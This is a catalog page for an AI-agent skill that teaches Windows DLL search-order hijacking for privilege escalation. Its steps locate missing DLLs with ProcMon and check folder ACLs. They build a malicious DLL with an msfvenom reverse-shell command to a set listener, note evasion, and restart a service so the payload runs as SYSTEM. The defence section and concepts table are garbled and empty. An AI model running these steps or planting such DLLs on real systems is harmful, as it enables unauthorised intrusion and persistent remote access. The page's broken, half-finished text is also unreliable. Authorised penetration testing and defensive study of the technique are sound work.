SECURITY REVIEW
Not yet assessed
Review the original instructions and requested permissions before installing.
No security review is available for this catalog entry yet.
Exploit local systems via DLL load order hijacking. This skill details how to identify applications on Windows that insecurely load Dynamic Link Libraries (DLLs) and how to substitute a legitimate DLL with a malicious one to achieve privilege escalation or persistent access.
Review the original instructions and requested permissions before installing.
No security review is available for this catalog entry yet.
How clearly the skill guides your agent, how complete its workflow is, and how you can check the outcome.
No quality assessment is available for this catalog entry yet.
Original instructions from the publisherβs SKILL.md
# DLL Hijacking for Privilege Escalation
## When to Use
- During a Windows local privilege escalation phase.
- When an application running with elevated privileges (like a service) attempts to load a missing DLL, and the directory it parses is writable by the current low-privileged user.
## Prerequisites
- Authorized scope and rules of engagement for the target environment
- Appropriate tools installed on the attack/analysis platform
- Understanding of the target technology stack and architecture
- Documentation template ready for findings and evidence capture
## Workflow
### Phase 1: Finding Missing DLLs (ProcMon)
You can find vulnerable processes using Sysinternals Process Monitor (ProcMon).
```text
# Concept: Filter ProcMon events 1. Open ProcMon and set the following filters:
- "Result" is "NAME NOT FOUND"
- "Path" ends with ".dll"
2. Start an application or restart a service.
3. Observe processes looking for DLLs that do not exist in their primary directories.
```
### Phase 2: Verifying Writable Directories
Once an application is observed attempting to load `missing.dll` in a path like `C:\Software\bin\missing.dll`, verify if your low-privileged user can write to `C:\Software\bin\`.
```powershell
# Check folder permissions using Access Control Lists (ACLs)
Get-Acl -Path "C:\Software\bin" | Format-List
# Look for "BUILTIN\Users: Allow Write" or similar rules.
```
### Phase 3: Crafting the Malicious DLL
Create a malicious DLL that replicates the needed payload (e.g., executing a reverse shell or adding a user to local admins).
```bash
# msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f dll -o missing.dll
```
*Note: Generating raw DLL payloads using C/C++ in Visual Studio is often preferred for evasion, ensuring `DllMain` attaches successfully.*
### Phase 4: Hijacking and Execution
1. Place the generated `missing.dll` into the writable application directory (`C:\Software\bin\`).
2. Trigger the application or service. If it is a service, you need the right to restart it (or reboot the machine if it starts on boot).
```powershell
# Restart-Service -Name VulnerableAppService
```
3. When the service starts (as `NT AUTHORITY\SYSTEM`), it blindly loads and executes your DLL.
#### Decision Point π
```mermaid
flowchart TD
A[ProcMon Enumeration ] --> B[Identify "NAME NOT FOUND" DLL ]
B --> C{Directory Writable? }
C -->|Yes| D[Craft Malicious DLL ]
C -->|No| E[Check Next Target / Phantom DLLs ]
D --> F[Place DLL in Path ]}
F --> G[Reboot or Restart Service ]
G --> H[Payload Executes as System ]
```
## π΅ Blue Team Detection & Defense
- **Enforce Safe DLL Search Mode**: **Strict Directory Permissions**: **Code Signing Integrity**: Key Concepts
| Concept | Description |
|---------|-------------|
## Output Format
```
Dll Hijacking Privesc β Assessment Report
============================================================
Target: [Target identifier]
Assessor: [Operator name]
Date: [Assessment date]
Scope: [Authorized scope]
MITRE ATT&CK: [Relevant technique IDs]
Findings Summary:
[Finding 1]: [Severity] β [Brief description]
[Finding 2]: [Severity] β [Brief description]
Detailed Results:
Phase 1: [Phase name]
- Result: [Outcome]
- Evidence: [Screenshot/log reference]
- Impact: [Business impact assessment]
Phase 2: [Phase name]
- Result: [Outcome]
- Evidence: [Screenshot/log reference]
- Impact: [Business impact assessment]
Risk Rating: [Critical/High/Medium/Low/Informational]
Recommendations:
1. [Immediate remediation step]
2. [Long-term hardening measure]
3. [Monitoring/detection improvement]
```
## π Shared Resources
> For cross-cutting methodology applicable to all vulnerability classes, see:
> - [`_shared/references/elite-chaining-strategy.md`](../_shared/references/elite-chaining-strategy.md) β Exploit chaining methodology and high-payout chain patterns
> - [`_shared/references/elite-report-writing.md`](../_shared/references/elite-report-writing.md) β HackerOne-optimized report writing, CWE quick reference
> - [`_shared/references/real-world-bounties.md`](../_shared/references/real-world-bounties.md) β Verified disclosed bounties by vulnerability class
## References
- Mitre ATT&CK: [Hijack Execution Flow: DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001/)
- WADComs: [DLL Hijacking](https://wadcoms.github.io/wadcoms/Procmon-DLL-Hijacking/)